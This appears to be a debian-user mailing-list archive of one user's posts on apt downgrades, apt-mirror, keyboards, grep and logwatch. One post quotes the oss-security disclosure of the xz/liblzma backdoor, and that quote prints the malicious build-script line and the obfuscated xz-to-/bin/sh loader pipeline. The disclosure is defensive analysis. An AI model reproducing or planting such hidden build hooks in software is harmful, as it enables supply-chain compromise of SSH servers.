Re: moving some packages back to bookworm stable

2024-05-28 Thread fxkl47BF
On Tue, 28 May 2024, Michael Grant wrote:

> On Mon, May 27, 2024 at 12:59:34PM -0500, David Wright wrote:
>> So what did it say after that?
>
> Sorry, here's the entire output of one of the tries:
>
> [bottom /etc/mail #1168] apt install libdb5.3/bookworm db5.3-util/bookworm 
> db-util/bookworm
> Reading package lists... Done
> Building dependency tree... Done
> Reading state information... Done
> Selected version '5.3.28+dfsg2-1' (Debian:12.5/stable [amd64]) for 'libdb5.3'
> Selected version '5.3.28+dfsg2-1' (Debian:12.5/stable [amd64]) for 
> 'db5.3-util'
> Selected version '5.3.2' (Debian:12.5/stable [all]) for 'db-util'
> The following packages were automatically installed and are no longer 
> required:
>  acl apache2-data apache2-utils augeas-lenses avahi-daemon clamav-base 
> colord-data git-man gnupg-l10n gnupg-utils gpg-wks-server guile-3.0-libs 
> ipp-usb libapr1 libaprutil1
>  libaprutil1-dbd-sqlite3 libaugeas0 libavahi-core7 libcolorhug2 libdaemon0 
> libexif12 libgphoto2-l10n libgphoto2-port12 libgudev-1.0-0 libgusb2 
> libhashkit2 libieee1284-3 libldap-common
>  liblua5.3-0 libnspr4 libnss-mdns libnss3 libopendbx1 libopendbx1-sqlite3 
> libopendkim11 libpoppler-glib8 libpoppler126 libpython2-stdlib libpython3.11 
> librbl1 librtmp1 libsane-common
>  libsnmp-base libsnmp40 libssh2-1 libvbr2 mailutils-common python2 
> python2-minimal python3-augeas sane-airscan update-inetd usb.ids
> Use 'apt autoremove' to remove them.
> The following additional packages will be installed:
>  php8.2-fpm
> Suggested packages:
>  php-pear
> The following packages will be REMOVED:
>  apache2 apache2-bin clamav clamav-daemon clamav-freshclam clamav-milter 
> clamav-unofficial-sigs clamdscan colord curl dirmngr git gnupg gnupg2 
> gpg-wks-client libapache2-mod-php8.2
>  libapache2-mod-ruid2 libaprutil1-ldap libclamav11 libcurl3-gnutls libcurl4 
> libdb5.3t64 libgphoto2-6 libldap-2.5-0 libmailutils9 libmemcached11 libpq5 
> libsane1 libsasl2-2
>  libsasl2-modules-db mailutils mongo-tools opendkim opendkim-tools python-apt 
> python3-certbot-apache python3-debianbts python3-pycurl python3-pysimplesoap 
> python3-reportbug reportbug
>  sane-utils sasl2-bin sendmail sendmail-bin sensible-mda
> The following NEW packages will be installed:
>  libdb5.3 php8.2-fpm
> The following packages will be DOWNGRADED:
>  db-util db5.3-util
> 0 upgraded, 2 newly installed, 2 downgraded, 46 to remove and 0 not upgraded.
> Need to get 1,743 kB/2,507 kB of archives.
> After this operation, 234 MB disk space will be freed.
> Do you want to continue? [Y/n] n
> Abort.
>
>>> Is there some way to get apt to reinstall a package such that it does
>>> not think it has to uninstall things which depend on it because it's
>>> being immediatly reinstalled?
>>
>> That is the idea behind reinstall, though downgrading is always
>> a test of its ability to succeed.
>
> What it says it's going to do is actually remove those 46 packages and
> not reinstall them.  I believe it!  Clearly apt is unwinding the
> dependencies.  It seems like it's not taking into account the
> downgraded libdb5.3 is a valid dependency for all the things it's
> about to uninstall so it doesn't need to uninstall those things.  I
> thought it should do that, but for some reason, it's not doing that
> for me.
>
>

i ran into exactly this same situation
apt and apt-get wanted to remove a passel of packages
i tried aptitude and it removed only the package i wanted
the system still works fine
just my experience



any usbip users

2024-05-14 Thread fxkl47BF
i was plundering around and found a new, to me, utility
is any one using usbip
is it usable or cluncky
sounds like it might be handy



Re: OT: Top Posting

2024-05-14 Thread fxkl47BF
On Tue, 14 May 2024, Andy Smith wrote:

> Hello,
>
> On Tue, May 14, 2024 at 05:01:31PM +, fxkl4...@protonmail.com wrote:
>> don't y'all have any thing better to do
>
> You must be new here.

sorta
i've only been using versions of linux since the early 90's :)
downloaded it from an archie server on to 2 floppies

>
> Get used to reading with a "mark thread read" key in your MUA of
> choice, is my best advice.

i've got to admit to being weak
reading the brilliant and riveting prose is addictive
and entertainment is in short supply around here
especially after the chickens go to bed


>
> Thanks,
> Andy
>
> --
> https://bitfolk.com/ -- No-nonsense VPS hosting
>



Re: OT: Top Posting

2024-05-14 Thread fxkl47BF
how many times has this top post crap been dug up
don't y'all have any thing better to do
i know
how about some real debian issues



apt-mirror can't read bookworm-updates

2024-05-11 Thread fxkl47BF
my config file has a single repo

deb-src https://deb.debian.org/debian bookworm-updates main contrib non-free 
non-free-firmware

the following is what i get
it seems the bookworm-updates sources file has no line "Files:"



apt-mirror@odroid2:~$ apt-mirror /etc/apt/mirror.list
Downloading 23 index files using 20 threads...
Begin time: Sat May 11 16:54:06 2024
[20]... [19]... [18]... [17]... [16]... [15]... [14]... [13]... [12]... [11]... 
[10]... [9]... [8]... [7]... [6]... [5]... [4]... [3]... [2]... [1]... [0]...
End time: Sat May 11 16:54:08 2024

Processing translation indexes: []

Downloading 0 translation files using 0 threads...
Begin time: Sat May 11 16:54:08 2024
[0]...
End time: Sat May 11 16:54:08 2024

Processing DEP-11 indexes: []

Downloading 0 dep11 files using 0 threads...
Begin time: Sat May 11 16:54:08 2024
[0]...
End time: Sat May 11 16:54:08 2024

Processing cnf indexes: []

Downloading 0 cnf files using 0 threads...
Begin time: Sat May 11 16:54:08 2024
[0]...
End time: Sat May 11 16:54:08 2024

Processing indexes: [SUse of uninitialized value $lines{"Files:"} in split at 
/usr/bin/apt-mirror line 929,  line 1.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 2.A
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 3.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 4.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 5.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 6.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 7.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 8.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 9.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 10.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 11.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 12.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 13.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 1.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 1.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 1.
Use of uninitialized value $lines{"Files:"} in split at /usr/bin/apt-mirror 
line 929,  line 2.

0 bytes will be downloaded into archive.
Downloading 0 archive files using 0 threads...
Begin time: Sat May 11 16:54:08 2024
[0]...
End time: Sat May 11 16:54:08 2024

0 bytes in 0 files and 0 directories can be freed.
Run /data/backups/apt-mirror/var/clean.sh for this purpose.

Running the Post Mirror script ...
(/data/backups/apt-mirror/var/postmirror.sh)


Post Mirror script has completed. See above output for any possible errors.





Re: strange colors during boot

2024-04-30 Thread fxkl47BF
i'll have to see if i can borrow a vga monitor


On Tue, 30 Apr 2024, Marco Moock wrote:

> Am 30.04.2024 um 18:33:24 Uhr schrieb fxkl4...@protonmail.com:
>
>> i use a vga to hdmi converter
>
> Test it without it.
>
> --
> Gruß
> Marco
>
> Send unsolicited bulk mail to 1714494804mu...@cartoonies.org
>



strange colors during boot

2024-04-30 Thread fxkl47BF
i set up bullseye on an old machine that has builtin vga display
i use a vga to hdmi converter
i don't know if that is relevant
during boot everything works ok
i see the grub screen and then initial ramdisk
they are black background and white foreground
it is, i think, when it finishes the initial ramdisk that the color changes
the foreground color stays white but the background changes
it changes to different colors each time i boot, green, purple, pink, ...
some combination are impossible to read
where should i look for the culprit



Re: Debian non-free-firmware policy making OS misleading and Free Software unfriendly

2024-04-22 Thread fxkl47BF
On Mon, 22 Apr 2024, Curt wrote:

> On 2024-04-21, Reid  wrote:
>> You seem to be suggesting that Debian users now need to read XX pages of 
>> release notes and guides in order to learn that what they're installing is 
>> not what the Debian.org homepage "Why Debian", "Our Philosophy", and "Who We 
>> Are / What We Do" pages are currently promoting Debian as.
>
> How can you be taken seriously when you can't even wrap your lines
> according to our venerable guidelines?
>
> https://wiki.debian.org/DebianMailingLists
>
> Set linewrap to 65-78 characters. 72 is a popular setting.
>
> Get a popular setting going, buddy.
>
> And, though it's true I extolled Proust recently, being succinct with
> well-wrapped lines is the height of mailing-list sophistication (unless
> your Marcel, which you ain't).
>
> Of course, it's also true these guidelines are never evoked with
> anything approaching equanimity, so forget I even mentioned them.
>

mentioned what



Re: Debian non-free-firmware policy making OS misleading and Free Software unfriendly

2024-04-21 Thread fxkl47BF
On Sun, 21 Apr 2024, Stefan Monnier wrote:

>> If Debian is going to continue promoting itself with those "Our Philosophy"
>> and "Why Debian" pages, there should at least be opt-ins during the
>> installation process of every Debian download, as well as prominent warnings
>> of the new policy on the download pages.
>
> Agreed.  It should be easy to adjust the installation process with an
> extra step whether to include/install non-free-firmware or not.
> It's also an opportunity to raise awareness of the problem.


do you think the debian gods are listening



minor change to apt-mirror

2024-04-18 Thread fxkl47BF
two possible changes to apt-mirror
if bash is available make that the default shell
restrict the program so that it is only run as the apt-mirror user
i forgot and ran it as root once and had to chown everything



opinion - apt-mirror or aptly

2024-04-16 Thread fxkl47BF
i intend to create a local mirror for debian armhf
it seems apt-mirror and aptly are the applications most used
is one easier, more reliable, ...



is security.debian.org broken

2024-04-16 Thread fxkl47BF
have a look at

https://security.debian.org/debian-security/dists/bookworm-security/updates/

is it broken or just me



Re: removed foreign architecture -- again

2024-04-16 Thread fxkl47BF
just a comment about this procedure
i shopped around the interweb before jumping in to this

apt purge `dpkg --get-selections |grep :i386 |awk '{print $1}'`
dpkg --remove-architecture i386

this what i settled on
but apt wanted to remove a passel of non-i386 packages that i really liked
and install a bunch of packages i really did not care for
apt seems to be using some sort of bizarre ai
it takes my input as a suggestion and does what hell it wants to

aptitude purge `dpkg --get-selections |grep :i386 |awk '{print $1}'`
did exactly what i needed
it only removed the i386 packages and left the rest alone
as a result i just removed the packages and rebooted

your mileage may vary




Re: removed foreign architecture

2024-04-15 Thread fxkl47BF
On Mon, 15 Apr 2024, Felix Miata wrote:

> fxkl47BF composed on 2024-04-15 18:23 (UTC):
>
>> i run bullseye amd64
>> i had i386 as a foreign architecture and removed it with no problems
>> i noticed the message
>> warning: while removing libsane1:i386, directory 
>> '/usr/lib/i386-linux-gnu/sane' not empty so not removed
>> /usr/lib/i386-linux-gnu/ has
>> libsane.la  libsane.so  libsane.so.1  libsane.so.1.0.26  pkgconfig/  sane/
>> /usr/lib/i386-linux-gnu/sane has a passel of libs
>> should these be left, removed, or none of the above
>
> In the past, and possibly still, printer manufacturer(s) only provided Linux
> drivers for 32bit. The one I'm using that does or did so is Brother. I haven't
> checked lately to see if it has changed its policy.
>
> The files and directories you list seem to be related to scanning, not 
> printing.
>
> Whether you can safely remove them probably depends on your printing and/or
> scanning hardware.


i moved /usr/lib/i386-linux-gnu/ to a different location
rebooted and all seems well
scanners work fine




removed foreign architecture

2024-04-15 Thread fxkl47BF
i run bullseye amd64
i had i386 as a foreign architecture and removed it with no problems
i noticed the message
warning: while removing libsane1:i386, directory '/usr/lib/i386-linux-gnu/sane' 
not empty so not removed
/usr/lib/i386-linux-gnu/ has
libsane.la  libsane.so  libsane.so.1  libsane.so.1.0.26  pkgconfig/  sane/
/usr/lib/i386-linux-gnu/sane has a passel of libs
should these be left, removed, or none of the above



can not find repo

2024-04-14 Thread fxkl47BF
i don't see an armel repo on any of the mirrors i checked
it was there a week ago
has it been deleted or am i just old and blind



bluetooth keyboard done gone nuts

2024-04-12 Thread fxkl47BF
i use a logitech k270 keyboard and mouse for several years
we had power outage for a couple of days
now the keyboard is nuts
the mouse works
i get odd multiple sequences with a few, not all, keys
if i type "ls" i get "l7s9u"
space is "[ "
there are a dozen or so other keys that are screwy
this machine is running bullseye
i plugged the dongle into a machine running bookworm and the same
i got to a console via ctrl+alt+f1 and the same
keyboard has fresh batteries



Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise

2024-03-30 Thread fxkl47BF
so is this a threat to us normal debian users
if so how do we fix it

On Sat, 30 Mar 2024, Jeffrey Walton wrote:

> It looks like more analysis has revealed this is a RCE with the
> payload in the modulus of a public key: "The payload is extracted from
> the N value (the public key) passed to RSA_public_decrypt, checked
> against a simple fingerprint, and decrypted with a fixed ChaCha20 key
> before the Ed448 signature verification..." Also see
> .
>
> On Fri, Mar 29, 2024 at 1:52 PM Jeffrey Walton  wrote:
>>
>> Seems relevant since Debian adopted xz about 10 years ago.
>>
>> -- Forwarded message -
>> From: Andres Freund 
>> Date: Fri, Mar 29, 2024 at 12:10 PM
>> Subject: [oss-security] backdoor in upstream xz/liblzma leading to ssh
>> server compromise
>> To: 
>>
>> Hi,
>>
>> After observing a few odd symptoms around liblzma (part of the xz package) on
>> Debian sid installations over the last weeks (logins with ssh taking a lot of
>> CPU, valgrind errors) I figured out the answer:
>>
>> The upstream xz repository and the xz tarballs have been backdoored.
>>
>> At first I thought this was a compromise of debian's package, but it turns 
>> out
>> to be upstream.
>>
>> == Compromised Release Tarball ==
>>
>> One portion of the backdoor is *solely in the distributed tarballs*. For
>> easier reference, here's a link to debian's import of the tarball, but it is
>> also present in the tarballs for 5.6.0 and 5.6.1:
>>
>> https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
>>
>> That line is *not* in the upstream source of build-to-host, nor is
>> build-to-host used by xz in git.  However, it is present in the tarballs
>> released upstream, except for the "source code" links, which I think github
>> generates directly from the repository contents:
>>
>> https://github.com/tukaani-project/xz/releases/tag/v5.6.0
>> https://github.com/tukaani-project/xz/releases/tag/v5.6.1
>>
>>
>> This injects an obfuscated script to be executed at the end of configure. 
>> This
>> script is fairly obfuscated and data from "test" .xz files in the repository.
>>
>>
>> This script is executed and, if some preconditions match, modifies
>> $builddir/src/liblzma/Makefile to contain
>>
>> am__test = bad-3-corrupt_lzma2.xz
>> ...
>> am__test_dir=$(top_srcdir)/tests/files/$(am__test)
>> ...
>> sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
>>
>>
>> which ends up as
>> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "
>>   \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>>
>> Leaving out the "| bash" that produces
>>
>> Hello
>> #�Z�.hj�
>> eval `grep ^srcdir= config.status`
>> if test -f ../../config.status;then
>> eval `grep ^srcdir= ../../config.status`
>> srcdir="../../$srcdir"
>> fi
>> export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c
>> +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +724)";(xz -dc
>> $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c
>> +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131"
>> "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
>> World
>>
>> After de-obfuscation this leads to the attached injected.txt.
>>
>>
>> == Compromised Repository ==
>>
>> The files containing the bulk of the exploit are in an obfuscated form in
>>   tests/files/bad-3-corrupt_lzma2.xz
>>   tests/files/good-large_compressed.lzma
>> committed upstream. They were initially added in
>> https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
>>
>> Note that the files were not even used for any "tests" in 5.6.0.
>>
>>
>> Subsequently the injected code (more about that below) caused valgrind errors
>> and crashes in some configurations, due the stack layout differing from what
>> the backdoor was expecting.  These issues were attempted to be worked around
>> in 5.6.1:
>>
>> https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
>> https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
>> https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92
>>
>> For which the exploit code was then adjusted:
>> 

filesystem info

2024-03-24 Thread fxkl47BF
when i type mount i see many different filesystem names

sysfs, proc, udev, devpts, tmpfs, securityfs, cgroup2, pstore, none,
systemd-1, hugetlbfs, mqueue, debugfs, tracefs, sunrpc, fusectl, configfs
binfmt_misc, portal

is there "simple" documentation to explain what these are



while rtfming crypttab

2024-03-19 Thread fxkl47BF
i saw several instances of
"This option is ignored for initramfs devices and specific to the Debian 
crypttab format. It's not supported by systemd."
since i'm using debian and systemd are these options ignored or used



Re: how to wiki

2024-03-05 Thread fxkl47BF
On Tue, 5 Mar 2024, Greg Wooledge wrote:

> On Tue, Mar 05, 2024 at 11:23:59AM -0500, Paul M Foster wrote:
>> On Tue, Mar 05, 2024 at 04:15:20PM +, fxkl4...@protonmail.com wrote:
>>
>>> how do i access the debian wiki
>>> https://wiki.debian.org/
>>> all i get is
>>>
>>>
>>>
>>>
>>> Forbidden
>>>
>>> You are not allowed to access this!
>>>
>>
>> Check your firewall, proxies or other items which could restrict your
>> access. I'm in the southeastern U.S. and am easily able to access that URL
>> with no problems.
>
> It's not a client side issue.  It's a server side block.  The wiki
> admins will have to look at it and decide how to handle it.
>

i emailed
they fixed
thanks



Re: how to wiki

2024-03-05 Thread fxkl47BF
On Tue, 5 Mar 2024, Greg Wooledge wrote:

> On Tue, Mar 05, 2024 at 04:15:20PM +, fxkl4...@protonmail.com wrote:
>> how do i access the debian wiki
>> https://wiki.debian.org/
>> all i get is
>>
>>
>>
>>
>> Forbidden
>>
>> You are not allowed to access this!
>
>> From :
>
> Q: Can I rename my account?
>
>  A: Yes, just login and click on Settings -> Preferences and edit the Name
> field. If you cannot login, then just reset your password first. Your
> existing edits will be attributed to the new account name.
>
> Q: Access to wiki.debian.org is blocked with 403 Forbidden
>
>  Please mail w...@debian.org with your IP address.
>

thanks



how to wiki

2024-03-05 Thread fxkl47BF
how do i access the debian wiki
https://wiki.debian.org/
all i get is




Forbidden

You are not allowed to access this!



Re: Inclusive terminology (instead of master/slave) for network bonding/LACP

2024-02-23 Thread fxkl47BF
On Fri, 23 Feb 2024, Andy Smith wrote:

> Hi,
>
> On Thu, Feb 22, 2024 at 11:19:16AM +0100, Ralph Aichinger wrote:
>> I know this is a loaded topic. I really don't want to discuss the
>> political aspects of the "why",
>
> No surprise that there are a lot of people in this thread with very
> strong feelings that they simply must tell us about, even though you
> asked them not to, and very little to say on the actual technical
> facts they claim to care about. 

too many people have nothing constuctive to do
so they spend there days stirring the pile
idle hands and all that



Re: How to insert symbols into emails

2024-01-30 Thread fxkl47BF
On Tue, 30 Jan 2024, Franco Martelli wrote:

> On 30/01/24 at 01:14, fxkl4...@protonmail.com wrote:
>> so i defined my compose key
>> in "/usr/share/X11/locale/en_US.UTF-8/Compose" file i see a definition
>>   
>> how do i type this
>>
>
> I dunno if it's possible to type it using the COMPOSE key, however as
> workaround you can install "gucharmap" if your desktop is GTK based or
> "kcharselect" if your desktop is KDE, then search the character by name
> (I-BEAM) then copy into the clipboard, finally create your own custom
> ~/.XCompose and define your key sequence to associate i.e. 
>   : "⌶" as explained in the Debian wiki:
>
> https://wiki.debian.org/XCompose

thanks
that helps
in "/usr/share/X11/locale/en_US.UTF-8/Compose" file i see a definition
   : "⌶"U2336 # ⊥ ⊤ APL FUNCTIONAL SYMBOL I-BEAM
i can directly enter the symbol above using the U2336 value without a compose 
key
ctrl + shift + u and type 2336 and enter



Re: How to insert symbols into emails

2024-01-29 Thread fxkl47BF
so i defined my compose key
in "/usr/share/X11/locale/en_US.UTF-8/Compose" file i see a definition
  
how do i type this



Re: Home UPS recommendations (Was Re: rsync --delete vs rsync --delete-after)

2024-01-26 Thread fxkl47BF
On Fri, 26 Jan 2024, Andy Smith wrote:

> Hi,
>
> On Fri, Jan 26, 2024 at 04:11:39PM +0100, hw wrote:
>> I've never had issues with any UPS due to self tests.  The batteries
>> need to be replaced when they are worn out.  How often that is
>> required depends on the UPS and the conditions it is working in,
>> usually every 3--5 years.
>
> Out of interest what brand of UPS do you recommend for home use that
> has easily-replaceable batteries every 3–5 years? For a load of
> about 300W.


just my experience
i have 2 apc 740's that date from the mid 90's
when the internal battery gave out i added a 50 amp anderson connector
i connect to a 35ah sla
you can change battteries while it's running



Re: I've an editable .pdf form I need to fill out

2024-01-23 Thread fxkl47BF
On Sun, 21 Jan 2024, gene heskett wrote:

> I think I installed 5 or 5, some were already installed, but the only
> one I found that actually worked was fldsed, but it has its own limits.

gene where did you find fldsed



Re: I've an editable .pdf form I need to fill out

2024-01-21 Thread fxkl47BF
On Sun, 21 Jan 2024, Greg Wooledge wrote:

> On Sun, Jan 21, 2024 at 01:30:41PM -0500, gene heskett wrote:
> chroming is dangerous.
>>
>> I haven't touched it since they hijacked port 80 so you cannot use it
>> locally.
>
> Gene, this is NOT true.  Chrome does not "hijack port 80".  You can
> go to http://localhost:80/ to talk to a local web server *just fine*
> in Chrome.
>
> This is another one of your imaginary problems, which has already been
> disproved, but to which you still cling.  You seem to have many of these.
>
> I'm not going to spend the time to dig up the old thread in which you
> first espoused this idea, and in which I showed you that it's untrue.
> That would be a waste of my time.
>

but in one of your previous emails you stated

"Yeah, I wasn't 100% correct in my previous message."

so how much of this message should gene follow



Re: counting commas

2024-01-20 Thread fxkl47BF
On Sat, 20 Jan 2024, Greg Wooledge wrote:

> On Sat, Jan 20, 2024 at 05:09:58PM -, Curt wrote:
>> On 2024-01-19, David Wright  wrote:
>>> On Fri 19 Jan 2024 at 17:25:10 (+), debian-u...@howorth.org.uk wrote:
 Greg Wooledge  wrote:

> I won, and you lost

 There shouldn't be a comma in that sentence, in English. There is in
 the closely related expression "I won, you lost."
>>>
>>> That's rather proscriptive. "I won and you lost." and
>>> "I won, and you lost." are two different sentences.
>>>
>>
>> AFAIK, "you lost" is an independent clause and should be separated from
>> the independent clause that precedes it with a comma before the
>> coordinating conjunction.
>
> Regardless of which grammar rules are right, wrong, or optional, the point
> of this is that parsing natural language text is *stupidly difficult*.
> A person who has to ask why "grep -c" doesn't count the number of commas
> in a single line of text probably isn't able to take on this quest.
>
> Any serious inquiries about natural language parsing should be directed
> to an appropriate artificial intelligence mailing list instead of this one.
>

mr wooledge makes a valid point
if an ignorant person such as myself tries to parse his advice i get
unless you're a super brilliant egghead you shouldn't bother to try



Re: counting commas

2024-01-19 Thread fxkl47BF
On Fri, 19 Jan 2024, Greg Wooledge wrote:

> On Fri, Jan 19, 2024 at 03:30:17PM +, fxkl4...@protonmail.com wrote:
 But at this point, we have to wonder what the *actual* goal is.
>>
>> to exclude phrases with commas for seperate examination
>
> Parsing natural language text is going to be tricky.  I can only talk
> about English, and not about whatever language your text is actually
> written in.
>
> Let's look at a few example English sentences:
>
>Good morning, John.
>
>I went to the store with Mary, Paul, Susan and Ralph.
>
>I won, and you lost.
>
>The bear, who was hungry, looked for food.
>
>Oh, that's interesting.
>
> These are five different examples of comma usage in English.  Do you
> happen to know in advance that your text will *only* contain samples
> that use the fourth style above?  Let's assume this.  Let's then form
> a template:
>
>STUFF, ASIDE, MORE STUFF, ASIDE, STILL MORE STUFF.
>
> I.e. given a sentence which conforms to expectation, we should see
> an even number of commas (is *THIS* why you were counting them??) and
> we should extract the ASIDEs from in between the first and second, then
> the third and fourth, and so on.
>
> So... uh, I guess my next question is: are you *pre-filtering* the
> sentences and keeping only the ones which have an even number of
> commas?  Or have you already *done* that, and now you're asking how
> to extract the ASIDEs?
>
> I really don't think I'd try this with shell scripts.  The tools just
> aren't designed for this.  You really want tools that are custom built
> for natural language processing, or a language that lets you run
> through a large string character by character in a fast, efficient
> way (C comes to mind) if you're trying to build your tools from the
> ground up.
>
> The "obvious" algorithm for extracting the ASIDEs would be use a
> simple finite state machine, and march through the sentence
> character by character.  When you encounter a comma, change state.
> Otherwise, if you're in the "ASIDE" state, copy the character to your
> output buffer.  When you leave the "ASIDE" state, terminate the current
> output buffer and move to the next one.  That's how I'd do it in C.
> Add whitespace trimming and so on.
>
> Also note that breaking a piece of natural language text *into*
> sentences in the first place is extraordinarily difficult.  If you
> haven't already got a way to do that, you're probably screwed.
> Seriously, asking the debian-user list how to count the number of
> commas in a text file is *not* a good sign if you're dealing with a
> masters-degree-level problem in natural language analysis.
>


certain characters give the interpreter a hard time
i'll just process what is easy for the interpreter
then work on the rest



Re: counting commas

2024-01-19 Thread fxkl47BF
On Fri, 19 Jan 2024, Thomas Schmitt wrote:

> Hi,
>
> Greg Wooledge wrote:
>> unicorn:~$ string="apple,banana,cherry,date"
>> unicorn:~$ commas=${string//[!,]/}
>> unicorn:~$ echo "${#commas}"
>> 3
>
> Always astonishing what a good bashism can do.
>
>
>> But at this point, we have to wonder what the *actual* goal is.

to exclude phrases with commas for seperate examination

>
> Up to now we only know about the astonishment of fxkl4...@protonmail.com
> that grep -c does not count characters.

i DID know that
that brain cell was offline at the moment
it needed a reminder to refresh the connection

>
> For a more complicated use case i would write a little C program where
> i'd be in control of every single bit of throughput.
> (Ok, C causes scars on the programmer's self esteem. But what does not
> kill me makes me just stronger. I'm a vim user.)

vi is the only way to go
i programmed c on hp/ux for 20+ years
had a room full of k200's
that was a lifetime ago



counting commas

2024-01-18 Thread fxkl47BF
why doesn't grep count 2 commas


echo 'Kích thước máy xay cỏ, giá máy thế nào , phụ tùng máy mua ở đâu' | grep 
-c ,
1

echo 'Kích thước máy xay cỏ, giá máy thế nào , phụ tùng máy mua ở đâu' | cut 
-d, -f1
Kích thước máy xay cỏ

echo 'Kích thước máy xay cỏ, giá máy thế nào , phụ tùng máy mua ở đâu' | cut 
-d, -f2
  giá máy thế nào

echo 'Kích thước máy xay cỏ, giá máy thế nào , phụ tùng máy mua ở đâu' | cut 
-d, -f3
  phụ tùng máy mua ở đâu



Re: URLs in Mutt

2024-01-01 Thread fxkl47BF
On Mon, 1 Jan 2024, Nicolas George wrote:

> This was not a reply to the original mail. You might consider using a
> MUA with proper threading to better understand what is going on.

from the negative nature of your communications
every one understands what's going on



Re: URLs in Mutt

2024-01-01 Thread fxkl47BF
On Mon, 1 Jan 2024, Nicolas George wrote:

> gene heskett (12024-01-01):
>> Most browsers to well with such as long as the link is surrounded by 
>> the left-right arrows delineate the links contents even if it is wrapped to
>> several lines on your screen.
>
> Please try to keep up with the context of the discussion, we were
> talking about links displayed by “lynx -dump”.

actually the question was
" what is wrapping the lines on my incoming emails, and how do I fix it "
please try to keep up



how to firefox settings

2023-12-06 Thread fxkl47BF
on a page in firefox use tools -> page info -> permissions
i notice override keyboard shortcuts is set to allow
where can i change the defaults for this

what is a tasklet

2023-12-06 Thread fxkl47BF
DI: DI: tasklet schedule cost 12ms.

this interesting  message started showing up in syslog a week or so ago
i've never noticed them before
any ideas whet this is



Re: dedicated IP

2023-11-28 Thread fxkl47BF
On Tue, 28 Nov 2023, Andy Smith wrote:

> Hello,
>
> On Tue, Nov 28, 2023 at 04:03:04PM -, Curt wrote:
>> NordVPN advertises very heavily in France on television and claims to
>> provide safety against bad actors (personified as villainous figures
>> observing your every move) when using it. It's their only selling point.
>
> And obviously these commercial VPNs are all incredibly trustworthy
> companies unlike your own ISP or government, despite the obnoxious
> tone and deceptive nature of their advertising.
>
> And also it's totally impossible for a government to set up a
> commercial VPN company to catch the sort of people who think they
> have something to hide.
>
> Right? … Right??
>
> We only have to look to the exemplary behaviour of the Crown Prince
> of Korea and his PIA, the company that saved Freenode from a life of
> quiet success and respectability.

a lock will only stop and honest man
i think a vpn is worth using if only to help filter site tracking
but a lot of sites will block access if they detect your using a vpn
those sites are dead set on tracking you and probably worth avoiding



Re: in Debian bookworm /var/log/syslog is empty

2023-11-21 Thread fxkl47BF
On Tue, 21 Nov 2023, John Covici wrote:

> hmmm, I looked at the release notes, but it does not say how to
> restore the old behavior, it just says many files are no longer
> necessary and lists them.  I am using logwatch and that program seems
> to be effected, I would be OK, if I could get logwatch to work
> properly.
>


i restored /etc/rsyslogd.conf from bullseye backups
this fixed the bookworm logs screwup and logwatch is ok
debian is just freeware
we have to diddle it sometimes



Re: no smartd in logwatch

2023-11-20 Thread fxkl47BF
On Mon, 20 Nov 2023, Marco Moock wrote:

> Am 20.11.2023 um 17:54:27 Uhr schrieb fxkl4...@protonmail.com:
>
>> 2023-11-19T07:24:45.772306-06:00 honey smartd[858]: Device: /dev/sdb
>> [SAT], SMART Usage Attribute: 194 Temperature_Celsius changed from
>> 111 to 112
>
> Looks good. Can you check logwatch for any error messages?
>

i ran
logwatch --service smartd --range Yesterday --detail high -debug 5

i see
export LOGWATCH_LOGFILE_LIST='/var/log/daemon.log '

it seems my bookworm doesn't have a daemon log



Re: no smartd in logwatch

2023-11-20 Thread fxkl47BF
On Mon, 20 Nov 2023, Marco Moock wrote:

> Am 20.11.2023 um 15:14:51 Uhr schrieb fxkl4...@protonmail.com:
>
